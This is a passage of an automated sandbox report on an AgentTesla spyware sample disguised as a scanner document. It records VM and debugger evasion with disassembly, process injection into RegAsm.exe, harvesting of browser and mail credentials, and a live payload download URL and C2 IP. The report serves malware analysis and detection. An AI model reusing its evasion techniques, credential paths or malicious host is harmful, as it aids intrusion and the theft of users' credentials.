          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000001300F6A second address: 0000000001300F6A instructions:
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000001301F08 second address: 0000000001301F08 instructions:
          Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
          Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
          Tries to detect Any.runShow sources
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeFile opened: C:\Program Files\qga\qga.exe
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Program Files\qga\qga.exe
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
          Source: RegAsm.exeBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
          Tries to detect virtualization through RDTSC time measurementsShow sources
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 0000000002102FA2 second address: 0000000002102FA2 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F7E70A9D098h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test bl, dl 0x0000001f cmp eax, ebx 0x00000021 pop ecx 0x00000022 test ebx, ecx 0x00000024 add edi, edx 0x00000026 dec ecx 0x00000027 pushad 0x00000028 mov ah, F0h 0x0000002a cmp ah, FFFFFFF0h 0x0000002d jne 00007F7E70A9C5A5h 0x00000033 popad 0x00000034 cmp ecx, 00000000h 0x00000037 jne 00007F7E70A9D043h 0x00000039 push ecx 0x0000003a jmp 00007F7E70A9D0AAh 0x0000003c push esi 0x0000003d mov esi, 6EF0E26Ch 0x00000042 cmp esi, 6EF0E26Ch 0x00000048 jne 00007F7E70A9A718h 0x0000004e pop esi 0x0000004f call 00007F7E70A9D0E7h 0x00000054 call 00007F7E70A9D0A8h 0x00000059 lfence 0x0000005c mov edx, dword ptr [7FFE0014h] 0x00000062 lfence 0x00000065 ret 0x00000066 mov esi, edx 0x00000068 pushad 0x00000069 rdtsc
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 000000000210319A second address: 000000000210319A instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F7E70AAA270h 0x0000001d popad 0x0000001e jmp 00007F7E70AA7922h 0x00000020 test ax, dx 0x00000023 call 00007F7E70AA7934h 0x00000028 lfence 0x0000002b rdtsc
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 00000000021006BA second address: 00000000021006BA instructions:
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 0000000002100853 second address: 0000000002100853 instructions:
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 000000000130319A second address: 000000000130319A instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F7E70A9FA00h 0x0000001d popad 0x0000001e jmp 00007F7E70A9D0B2h 0x00000020 test ax, dx 0x00000023 call 00007F7E70A9D0C4h 0x00000028 lfence 0x0000002b rdtsc
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000001300F6A second address: 0000000001300F6A instructions:
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000001301F08 second address: 0000000001301F08 instructions:
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_0130210C rdtsc
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 2357
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 7483
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6904Thread sleep time: -25825441703193356s >= -30000s
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: RegAsm.exe, 00000004.00000002.604549070.0000000020820000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
          Source: RegAsm.exe, 00000004.00000002.604549070.0000000020820000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
          Source: RegAsm.exeBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: RegAsm.exe, 00000004.00000002.604549070.0000000020820000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
          Source: RegAsm.exe, 00000004.00000002.604549070.0000000020820000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information queried: ProcessInformation

          Anti Debugging:

          barindex
          Hides threads from debuggersShow sources
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeThread information set: HideFromDebugger
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread information set: HideFromDebugger
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread information set: HideFromDebugger
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeProcess queried: DebugPort
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess queried: DebugPort
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_0130210C rdtsc
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FE6B68 LdrInitializeThunk,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_013052A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01302DD2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01305F0E mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_0130576C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01305EF3 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess token adjusted: Debug
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: page read and write | page guard

          HIPS / PFW / Operating System Protection Evasion:

          barindex
          Writes to foreign memory regionsShow sources
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1300000
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\SKM_C3350191107102300.exe'
          Source: RegAsm.exe, 00000004.00000002.599071662.0000000001AF0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
          Source: RegAsm.exe, 00000004.00000002.599071662.0000000001AF0000.00000002.00000001.sdmpBinary or memory string: Progman
          Source: RegAsm.exe, 00000004.00000002.599071662.0000000001AF0000.00000002.00000001.sdmpBinary or memory string: &Program Manager
          Source: RegAsm.exe, 00000004.00000002.599071662.0000000001AF0000.00000002.00000001.sdmpBinary or memory string: Progmanlock
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01302214 cpuid
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

          Stealing of Sensitive Information:

          barindex
          Yara detected AgentTeslaShow sources
          Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 6504, type: MEMORY
          Tries to harvest and steal browser information (history, passwords, etc)Show sources
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
          Tries to steal Mail credentials (via file access)Show sources
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
          Source: Yara matchFile source: 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 6504, type: MEMORY

          Remote Access Functionality:

          barindex
          Yara detected AgentTeslaShow sources
          Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 6504, type: MEMORY

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid AccountsWindows Management Instrumentation211DLL Side-Loading1Process Injection112Virtualization/Sandbox Evasion34OS Credential Dumping1Security Software Discovery731Remote ServicesEmail Collection1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryVirtualization/Sandbox Evasion34Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothIngress Tool Transfer1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection112Security Account ManagerProcess Discovery2SMB/Windows Admin SharesData from Local System1Automated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Obfuscated Files or Information1NTDSApplication Window Discovery1Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol11SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsSystem Information Discovery424SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

          Behavior Graph

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          SKM_C3350191107102300.exe22%VirustotalBrowse

          Dropped Files

          No Antivirus matches

          Unpacked PE Files

          No Antivirus matches

          Domains

          No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
          http://DynDns.comDynDNS0%URL Reputationsafe
          http://DynDns.comDynDNS0%URL Reputationsafe
          http://DynDns.comDynDNS0%URL Reputationsafe
          http://DynDns.comDynDNS0%URL Reputationsafe
          http://sHYyUE.com0%VirustotalBrowse
          http://sHYyUE.com0%Avira URL Cloudsafe
          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
          http://185.222.58.152/EDUORIGIN_baxLdLkc20.bin0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          No contacted domains info

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://185.222.58.152/EDUORIGIN_baxLdLkc20.bintrue
          • Avira URL Cloud: safe
          unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://127.0.0.1:HTTP/1.1RegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpfalse
          • Avira URL Cloud: safe
          low
          http://DynDns.comDynDNSRegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpfalse
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          unknown
          http://sHYyUE.comRegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpfalse
          • 0%, Virustotal, Browse
          • Avira URL Cloud: safe
          unknown
          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%haRegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpfalse
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          unknown

          Contacted IPs

          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs

          Public

          IPDomainCountryFlagASNASN NameMalicious
          185.222.58.152
          unknownNetherlands
          51447ROOTLAYERNETNLtrue

          General Information

          Joe Sandbox Version:31.0.0 Emerald
          Analysis ID:356107
          Start date:22.02.2021
          Start time:15:17:08
          Joe Sandbox Product:CloudBasic
          Overall analysis duration:0h 5m 56s
          Hypervisor based Inspection enabled:false
          Report type:light
          Sample file name:SKM_C3350191107102300.exe
          Cookbook file name:default.jbs
          Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
          Number of analysed new started processes analysed:24
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • HDC enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Detection:MAL
          Classification:mal100.rans.troj.spyw.evad.winEXE@4/0@0/1
          EGA Information:Failed
          HDC Information:
          • Successful, ratio: 21.1% (good quality ratio 15.9%)
          • Quality average: 37.3%
          • Quality standard deviation: 30.4%
          HCA Information:
          • Successful, ratio: 97%
          • Number of executed functions: 0
          • Number of non-executed functions: 0
          Cookbook Comments:
          • Adjust boot time
          • Enable AMSI
          • Found application associated with file extension: .exe
          Warnings:
          Show All
          • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
          • TCP Packets have been reduced to 100
          • Report size getting too big, too many NtAllocateVirtualMemory calls found.
          • Report size getting too big, too many NtOpenKeyEx calls found.
          • Report size getting too big, too many NtProtectVirtualMemory calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.

          Simulations

          Behavior and APIs

          TimeTypeDescription
          15:18:31API Interceptor656x Sleep call for process: RegAsm.exe modified

          Joe Sandbox View / Context

          IPs

          No context

          Domains

          No context

          ASN

          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
          ROOTLAYERNETNLJagtap Trading - order #JEW-39-16.02.2021.exeGet hashmaliciousBrowse
          • 45.137.22.36
          AKBANK E-DEKONT.exeGet hashmaliciousBrowse
          • 45.137.22.52
          New Order.exeGet hashmaliciousBrowse
          • 45.137.22.102
          New Order.exeGet hashmaliciousBrowse
          • 45.137.22.102
          LnkxrWO6yvd9qaJ.exeGet hashmaliciousBrowse
          • 185.222.58.156
          tuesdacrypted.exeGet hashmaliciousBrowse
          • 185.222.57.68
          000009000000900.exeGet hashmaliciousBrowse
          • 45.137.22.52
          TT.exeGet hashmaliciousBrowse
          • 185.222.57.213
          Cotizaci#U00f3n de factura.exeGet hashmaliciousBrowse
          • 45.137.22.52
          kart-009000000..pdf...exeGet hashmaliciousBrowse
          • 45.137.22.52
          PO-OIOI09000.exeGet hashmaliciousBrowse
          • 45.137.22.52
          090000090000-090.exeGet hashmaliciousBrowse
          • 45.137.22.52
          kart gecmisi.exeGet hashmaliciousBrowse
          • 45.137.22.52
          000000000900R.exeGet hashmaliciousBrowse
          • 45.137.22.52
          0000000000009000.exeGet hashmaliciousBrowse
          • 45.137.22.52
          090887000008000000.exeGet hashmaliciousBrowse
          • 45.137.22.52
          PURCHASE ORDER098090.exeGet hashmaliciousBrowse
          • 45.137.22.52
          rawwwwwwwcrypted.exeGet hashmaliciousBrowse
          • 185.222.57.68
          REMOUOOO9O9.exeGet hashmaliciousBrowse
          • 45.137.22.52
          RFQ-OM-3994 - Closing Date 31.12.2020 - MEPF-PO-2020-060PDF.exeGet hashmaliciousBrowse
          • 185.222.58.156

          JA3 Fingerprints

          No context

          Dropped Files

          No context

          Created / dropped Files

          No created / dropped files found

          Static File Info

          General

          File type:PE32 executable (GUI) Intel 80386, for MS Windows
          Entropy (8bit):4.793930759240635
          TrID:
          • Win32 Executable (generic) a (10002005/4) 99.15%
          • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
          • Generic Win/DOS Executable (2004/3) 0.02%
          • DOS Executable Generic (2002/1) 0.02%
          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
          File name:SKM_C3350191107102300.exe
          File size:61440
          MD5:58bb0368bc9cf6ec86c266f54cdefeeb
          SHA1:1b9beee4bf56a4d5b31654b7c7404df5ff13f2fe
          SHA256:d8eb1f98c2e365646d4b849ce9463769f173f7b4c95ea4dc705429a1798e1cfb
          SHA512:3078cfa6d4bfd47981bdac73d8cd41a4d37a8a076d01920dea680f643e683d07750ad9ee623976df6f4df76ccf37d03ae8899e7a88b976a3d28409735e936343
          SSDEEP:768:IZH/LgmvpoLA7SIKJrj7+I6vbfzrkEiV:mz5yLA7SIKZ6vTc
          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L...m?.V.....................0....................@................

          File Icon

          Icon Hash:20047c7c70f0e004

          Static PE Info

          General

          Entrypoint:0x4012c4
          Entrypoint Section:.text
          Digitally signed:false
          Imagebase:0x400000
          Subsystem:windows gui
          Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
          DLL Characteristics:
          Time Stamp:0x56A83F6D [Wed Jan 27 03:54:21 2016 UTC]
          TLS Callbacks:
          CLR (.Net) Version:
          OS Version Major:4
          OS Version Minor:0
          File Version Major:4
          File Version Minor:0
          Subsystem Version Major:4
          Subsystem Version Minor:0
          Import Hash:f8fb5be8a6ea86fb9d04da61d8bfeb3a

          Entrypoint Preview

          Instruction
          push 00401504h
          call 00007F7E70845993h
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          xor byte ptr [eax], al
          add byte ptr [eax], al
          cmp byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          xchg eax, ebx
          mov eax, dword ptr [E42F2C80h]
          inc edi
          popfd
          add al, 37h
          adc byte ptr [eax], 0000005Ah
          mov edi, 0000006Ah
          add byte ptr [eax], al
          add byte ptr [ecx], al
          add byte ptr [eax], al
          add byte ptr [eax+00h], cl
          push es
          inc eax
          add dword ptr [ecx], 41h
          insb
          outsb
          add byte ptr [esi+000002FBh], dh
          add byte ptr [eax], al
          dec esp
          xor dword ptr [eax], eax
          pop es
          mov dh, 00h
          pop edi
          retf 9645h
          dec esi
          mov ecx, dword ptr [edi-2EF3FE6Eh]
          mov dword ptr [ebp-42h], edi
          pop es
          xchg eax, ebx
          adc al, 08h
          movsd
          loopne 00007F7E708459EAh
          stosd
          cdq
          clts
          mov ch, B4h
          clc
          ret
          cmp cl, byte ptr [edi-53h]
          xor ebx, dword ptr [ecx-48EE309Ah]
          or al, 00h
          stosb
          add byte ptr [eax-2Dh], ah
          xchg eax, ebx
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          add byte ptr [eax], al
          xchg eax, ebp
          add dword ptr [eax], eax
          add byte ptr [ebx+00h], cl
          add byte ptr [eax], al
          add byte ptr [ebx], cl
          add byte ptr [edx+49h], al
          dec esp
          inc ecx
          inc edi
          inc esp
          inc ebp
          push ebx
          push ebx
          dec esi
          inc ebp
          add byte ptr [52000901h], cl
          inc ebp
          inc esi
          inc ebp
          inc ebx
          push esp
          dec edi
          push edx
          dec ecx
          add byte ptr [ecx], bl

          Data Directories

          NameVirtual AddressVirtual Size Is in Section
          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_IMPORT0xc0240x28.text
          IMAGE_DIRECTORY_ENTRY_RESOURCE0xf0000x9b4.rsrc
          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
          IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2280x20
          IMAGE_DIRECTORY_ENTRY_IAT0x10000xd0.text
          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

          Sections

          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
          .text0x10000xb3f80xc000False0.454182942708data5.50136713696IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          .data0xd0000x118c0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
          .rsrc0xf0000x9b40x1000False0.18017578125data2.10544721685IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

          Resources

          NameRVASizeTypeLanguageCountry
          RT_ICON0xf8840x130data
          RT_ICON0xf59c0x2e8data
          RT_ICON0xf4740x128GLS_BINARY_LSB_FIRST
          RT_GROUP_ICON0xf4440x30data
          RT_VERSION0xf1500x2f4dataHungarianHungary

          Imports

          DLLImport
          MSVBVM60.DLL_CIcos, _adj_fptan, __vbaVarMove, __vbaAryMove, __vbaFreeVar, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, _adj_fpatan, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaErrorOverflow, __vbaNew2, __vbaVar2Vec, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaVarDup, _CIatan, __vbaCastObj, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

          Version Infos

          DescriptionData
          Translation0x040e 0x04b0
          LegalCopyrightCopyright (C) AC
          InternalNameKlysnerstorv8
          FileVersion1.00
          CompanyNameAC
          LegalTrademarksCopyright (C) AC
          CommentsAC
          ProductNameAC
          ProductVersion1.00
          FileDescriptionAC
          OriginalFilenameKlysnerstorv8.exe

          Possible Origin

          Language of compilation systemCountry where language is spokenMap
          HungarianHungary

          Network Behavior

          Snort IDS Alerts

          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
          02/22/21-15:18:23.821649TCP2018752ET TROJAN Generic .bin download from Dotted Quad4972680192.168.2.6185.222.58.152

          Network Port Distribution

          TCP Packets

          TimestampSource PortDest PortSource IPDest IP
          Feb 22, 2021 15:18:20.784945011 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.774292946 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.820786953 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.820916891 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.821649075 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.871231079 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.871278048 CET8049726185.222.58.152192.168.2.6
